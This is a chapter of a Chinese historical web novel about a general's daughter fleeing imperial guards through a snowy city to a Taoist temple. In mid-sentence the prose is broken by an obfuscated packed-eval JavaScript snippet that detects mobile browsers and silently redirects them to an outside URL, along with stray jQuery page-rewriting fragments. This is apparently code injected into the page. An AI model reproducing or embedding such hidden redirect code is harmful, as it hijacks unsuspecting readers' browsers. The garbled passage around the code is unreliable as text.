暗河的风裹着冰碴子往领口钻，闻菱蹲在芦苇丛里，牙齿打颤的声音盖过了河水破冰的轻响。她把脸埋在膝盖里，怀里的虎符硌得胸口疼——那是父亲挂在书房墙上的东西，她小时候总踮着脚去摸，父亲就笑着把她举起来，让她的指尖蹭到青铜的纹路，说“这是闻家的根”。
现在“根”碎了。
远处的火光渐渐暗下去，雪却越下越密，像老天爷揉碎了云往人间泼。闻菱蜷着身子往芦苇深处挪，湿冷的苇叶刮着她的脸颊，留下一道道红印——像阿娘往日给她涂的胭脂，只是这“胭脂”凉得钻心。
她不知道自己蹲了多久，直到天边泛起鱼肚白，才敢探出头往河岸看。
暗河的下游连着护城河，岸边泊着几艘装炭的木船，船工裹着破棉袍缩在舱里打盹。闻菱盯着那些船看了半晌，忽然想起去年上元节，父亲就是带着她从这里上船，往宫里的太液池去看灯。
那天也是落雪，父亲把她裹在狐裘里，指给她看河面上飘着的莲花灯：“阿菱，许个愿？”她扒着船舷，把手里的灯放进水里，说“愿爹爹永远不打仗”，父亲笑得胡子都翘起来，揉着她的发顶说“好，爹爹都听阿菱的”。
可今年的上元节还没到，父亲已经躺在闻府的雪地里了。
闻菱咬了咬嘴唇，把虎符往怀里又塞了塞，猫着腰往木船的方向挪。她的鞋早就湿透了，踩在冻硬的泥地上，每一步都像踩在碎玻璃上。快到船边时，舱里的船工突然咳嗽了一声，她猛地钻进船尾的炭堆里，炭灰沾了满脸，呛得她直掉眼泪。
“这天杀的雪，”船工骂骂咧咧地掀开舱帘，往河里泼了盆水，“再下下去，炭都运不进城了。”
泼出去的水溅在船板上，瞬间结了层薄冰。闻菱捂着嘴，看见船工裹紧棉袍又钻回了舱里，才敢慢慢从炭堆里爬出来——她的袄子沾了黑灰，头发乱得像枯草，活像个逃荒的乞儿。
“船家。”
她听见自己的声音哑得厉害，像被砂纸磨过。
船工掀开舱帘，看见她这副样子，皱着眉往后退了一步：“你谁啊？别是逃债的吧？”
“我……我是城外农户家的女儿，”闻菱攥着袖口里的银簪——那是阿娘插在她发间的，此刻被她拔下来攥得发烫，“家里遭了灾，想进城寻亲戚，求您载我一段，这簪子给您当船费。”
银簪的錾花在雪光里亮了亮，船工的眼睛动了动，伸手把簪子抢过去：“上来吧，船走得慢，你别出声。”
闻菱爬上船，缩在舱角的炭堆旁。船工撑着篙往城里划，河水推着船晃，她的头越来越沉，眼皮像粘了胶——昨夜的惊惧和寒冷裹着她，让她连抬手的力气都没有。迷迷糊糊间，她看见舱外的河岸闪过一片梅林，枝桠上的雪落下来，像去年父亲折给她的那枝白梅。
“姑娘，醒醒。”
船工的声音把她拽回现实。她睁开眼，看见船已经停在了护城河的码头，远处的城门洞开着，禁军正挨个盘查进城的人。
“快下去，”船工推了她一把，“禁军查得严，你往旁边的巷子里钻，别往人多的地方去。”
闻菱踉跄着下了船，钻进码头旁的窄巷。巷子里堆着积雪，墙根下缩着几个乞儿，看见她过来，都警惕地往旁边挪。她靠着墙滑坐在地上，听见巷口传来禁军的呵斥声——是在盘查一个挑担子的货郎，货郎的篮子被掀翻，橘子滚了一地，滚到她脚边一个。
她捡起橘子，指尖触到冰凉的果皮，忽然想起阿娘去年给她剥的橘子，一瓣一瓣摆成小花的样子，说“阿菱吃了，岁岁平安”。
平安？
闻菱把橘子攥在手里，指甲掐破了果皮，酸汁溅在掌心，像眼泪的味道。
她在巷子里蹲到日头偏西，才敢往城郊的方向走。按照
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328948|199148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
母亲的话，青云观在城南的青崖山脚下，离城有二十里路。她沿着官道走，雪地里的脚印很快被新雪盖了，偶尔有车马从身边过，车夫甩着鞭子骂“挡路的乞儿”，她就往路边的雪堆里缩，直到车马走远，才敢继续往前走。
天擦黑的时候，她终于看见青崖山的影子。山脚下的青云观隐在松柏林里，飞檐上积着雪，像幅淡墨的画。闻菱扶着树干喘了口气，刚要往观门走，忽然听见观墙后传来说话声。
“……那闻家的小丫头，陛下下了海捕文书，说活要见人死要见尸。”
是禁军的声音。
闻菱的血瞬间凉了。她躲在松树后，看见两个穿玄甲的禁军靠在观墙上，手里拿着画像——那上面画的正是她，是她去年在画舫上拍的小像，连发间的银簪都画得清清楚楚。
“观里的老道是闻将军的旧部，”另一个禁军说，“上头让我们盯着，要是那丫头来了，直接拿下。”
闻菱往后退了一步，踩断了一根枯枝。
“谁？！”
禁军的刀“唰”地拔了出来。
闻菱转身往山林里跑。松针刮着她的脸，雪地里的石子硌得她脚腕生疼，身后的脚步声越来越近，她能听见禁军的喊骂声：“站住！再跑就放箭了！”
一支羽箭擦着她的耳朵飞过，钉在前面的树干上。
闻菱慌不择路，顺着山坡往下滚。雪地里的枯枝划破了她的袄子，冰冷的雪灌进领口，她像个破布娃娃似的滚到坡底，撞在一块巨石上，眼前一黑，昏了过去。
意识消散前，她好像看见巨石后有个人影，穿着灰色的道袍，手里拿着拂尘，像极了父亲说过的玄清师叔。
雪还在落。
落在她沾着血的发梢上，落在她攥着虎符的手心里，落在这无边无际的寒夜里。
永安二十七年的冬，好像永远都不会结束了。